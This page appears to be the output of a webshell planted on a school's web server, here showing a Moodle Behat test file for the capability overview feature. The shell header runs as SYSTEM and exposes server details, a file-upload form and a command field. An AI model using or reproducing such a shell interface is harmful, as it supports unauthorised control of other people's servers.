403Webshell
Server IP : 104.21.80.248  /  Your IP : 172.71.28.155
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/myschool/triamudom/tuprblearn/admin/tool/capability/tests/behat/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/myschool/triamudom/tuprblearn/admin/tool/capability/tests/behat/show_contexts.feature
@tool @tool_capability
Feature: Show capabilities for multiple contexts
  In order to check roles capabilities
  As an admin
  I need to be able to see capability overrides on several contexts

  Background:
    And the following "courses" exist:
      | fullname | shortname | category |
      | Course 1 | C1        | 0        |
      | Course 2 | C2        | 0        |
    And the following "permission overrides" exist:
      | capability                    | permission | role       | contextlevel | reference |
      | enrol/category:config         | Allow      | student    | Course       | C1        |
      | enrol/cohort:unenrol          | Allow      | student    | Course       | C2        |
    And I log in as "admin"
    And I navigate to "Users > Permissions > Capability overview" in site administration

  Scenario: Show capabilities table with one capability with overrides
    When I set the following fields to these values:
      | Capability: | enrol/category:config |
      | Roles:      | Student               |
    And I click on "Get the overview" "button"
    Then I should see "Permissions in System"
    And I should see "Permissions in Category: Miscellaneous"
    And I should see "Permissions in Course: Course 1"
    And I should not see "Permissions in Course: Course 2"

  Scenario: Show capabilities table with one capability without overrides
    When I set the following fields to these values:
      | Capability: | enrol/cohort:config |
      | Roles:      | Student               |
    And I click on "Get the overview" "button"
    Then I should see "Permissions in System"
    And I should not see "Permissions in Category: Miscellaneous"
    And I should not see "Permissions in Course: Course 1"
    And I should not see "Permissions in Course: Course 2"

  Scenario: Show capabilities table with two capabilities, 1st without overrides and 2nd with
    When I set the following fields to these values:
      | Capability: | enrol/category:synchronised, enrol/category:config |
      | Roles:      | Student                                            |
    And I click on "Get the overview" "button"
    Then I should see "Permissions in System"
    And I should see "Permissions in Category: Miscellaneous"
    And I should see "Permissions in Course: Course 1"
    And I should not see "Permissions in Course: Course 2"

  Scenario: Show capabilities table with two capabilities, 1st with overrides and 2nd without
    When I set the following fields to these values:
      | Capability: | enrol/category:config, enrol/cohort:config |
      | Roles:      | Student                                    |
    And I click on "Get the overview" "button"
    Then I should see "Permissions in System"
    And I should see "Permissions in Category: Miscellaneous"
    And I should see "Permissions in Course: Course 1"
    And I should not see "Permissions in Course: Course 2"

  Scenario: Show capabilities table with two capabilities, none with overrides
    When I set the following fields to these values:
      | Capability: | enrol/category:synchronised, enrol/cohort:config |
      | Roles:      | Student                                          |
    And I click on "Get the overview" "button"
    Then I should see "Permissions in System"
    And I should not see "Permissions in Category: Miscellaneous"
    And I should not see "Permissions in Course: Course 1"
    And I should not see "Permissions in Course: Course 2"

  Scenario: Show capabilities table with capability with override and no role selected
    When I set the following fields to these values:
      | Capability: | enrol/category:config |
      | Roles:      |                       |
    And I click on "Get the overview" "button"
    Then I should see "Permissions in System"
    And I should see "Permissions in Category: Miscellaneous"
    And I should see "Permissions in Course: Course 1"
    And I should not see "Permissions in Course: Course 2"

  Scenario: Show capabilities table with capability without override and no role selected
    When I set the following fields to these values:
      | Capability: | enrol/cohort:config |
      | Roles:      |                     |
    And I click on "Get the overview" "button"
    Then I should see "Permissions in System"
    And I should not see "Permissions in Category: Miscellaneous"
    And I should not see "Permissions in Course: Course 1"
    And I should not see "Permissions in Course: Course 2"

  Scenario: Show capabilities table with capability with two overrides on different contexts
    When I set the following fields to these values:
      | Capability: | enrol/category:config, enrol/cohort:unenrol |
      | Roles:      |                                           |
    And I click on "Get the overview" "button"
    Then I should see "Permissions in System"
    And I should see "Permissions in Category: Miscellaneous"
    And I should see "Permissions in Course: Course 1"
    And I should see "Permissions in Course: Course 2"

Youez - 2016 - github.com/yon3zu
LinuXploit